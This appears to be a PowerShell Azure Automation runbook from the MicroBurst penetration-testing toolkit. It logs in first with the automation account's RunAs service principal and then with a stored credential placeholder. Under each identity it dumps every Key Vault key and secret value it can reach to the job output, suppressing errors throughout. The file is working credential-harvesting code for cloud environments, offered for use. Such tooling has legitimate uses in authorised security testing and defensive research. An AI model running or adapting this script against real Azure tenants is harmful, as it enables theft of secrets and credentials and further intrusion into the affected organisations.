Files
NetSPI-MicroBurst/Misc/KeyVaultRunBook.ps1
2019-03-19 15:06:07 -07:00

94 lines
3.7 KiB
PowerShell

$ErrorActionPreference = "SilentlyContinue"
# Start RunAs Process
$connectionName = "AzureRunAsConnection"
$servicePrincipalConnection = Get-AutomationConnection -Name $connectionName
# Connect AzureRM
Connect-AzureRmAccount -ServicePrincipal -Tenant $servicePrincipalConnection.TenantId -ApplicationId $servicePrincipalConnection.ApplicationID -CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint | out-null
# Try to read KeyVaults
$vaults = Get-AzureRmKeyVault
foreach ($vault in $vaults){
$vaultName = $vault.VaultName
try{
$keys = Get-AzureKeyVaultKey -VaultName $vault.VaultName -ErrorAction Stop
# Dump Keys
foreach ($key in $keys){
$keyname = $key.Name
$keyValue = Get-AzureKeyVaultKey -VaultName $vault.VaultName -Name $key.Name
# Write out keys - format Vault:Type:Type2:Name:Value
Write-Output "$($vaultName)`tKEY`t$($keyValue.Key.Kty)`t$($keyValue.Name)`t$($keyValue.Key)"
}
}
catch{}
# Dump Secrets
try{$secrets = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -ErrorAction Stop
foreach ($secret in $secrets){
$secretname = $secret.Name
Try{
$secretValue = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -Name $secret.Name -ErrorAction Stop
$secretType = $secretValue.ContentType
# Write Out Secrets - format Vault:Type:Type2:Name:Value
Write-Output "$($vaultName)`tSECRET`t$($secretType)`t$($secretValue.Name)`t$($secretValue.SecretValueText)"
}
Catch{}
}
}
catch{}
}
#------------------- Start PSCred Section -------------------
$myCredential = Get-AutomationPSCredential -Name TEMPLATECREDENTIAL
if($myCredential -ne $null){
# Start AutoCred Process
$userName = $myCredential.UserName
$password = $myCredential.GetNetworkCredential().Password
# Set up credential object
$PWord = ConvertTo-SecureString -String $password -AsPlainText -Force
$Credential = New-Object -TypeName "System.Management.Automation.PSCredential" -ArgumentList $userName, $PWord
$ErrorActionPreference = "Stop"
# Try to auth as regular user, not as an SPN, that happened above with the RunAs
Try{Connect-AzureRMAccount -Credential $Credential}
Catch{break}
# Try to read KeyVaults
$vaults = Get-AzureRmKeyVault
foreach ($vault in $vaults){
$vaultName = $vault.VaultName
try{
$keys = Get-AzureKeyVaultKey -VaultName $vault.VaultName -ErrorAction Stop
# Dump Keys
foreach ($key in $keys){
$keyname = $key.Name
$keyValue = Get-AzureKeyVaultKey -VaultName $vault.VaultName -Name $key.Name
# Write out keys - format Vault:Type:Type2:Name:Value
Write-Output "$($vaultName)`tKEY`t$($keyValue.Key.Kty)`t$($keyValue.Name)`t$($keyValue.Key)"
}
}
catch{}
# Dump Secrets
try{$secrets = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -ErrorAction Stop
foreach ($secret in $secrets){
$secretname = $secret.Name
Try{
$secretValue = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -Name $secret.Name -ErrorAction Stop
$secretType = $secretValue.ContentType
# Write Out Secrets - format Vault:Type:Type2:Name:Value
Write-Output "$($vaultName)`tSECRET`t$($secretType)`t$($secretValue.Name)`t$($secretValue.SecretValueText)"
}
Catch{}
}
}
catch{}
}
}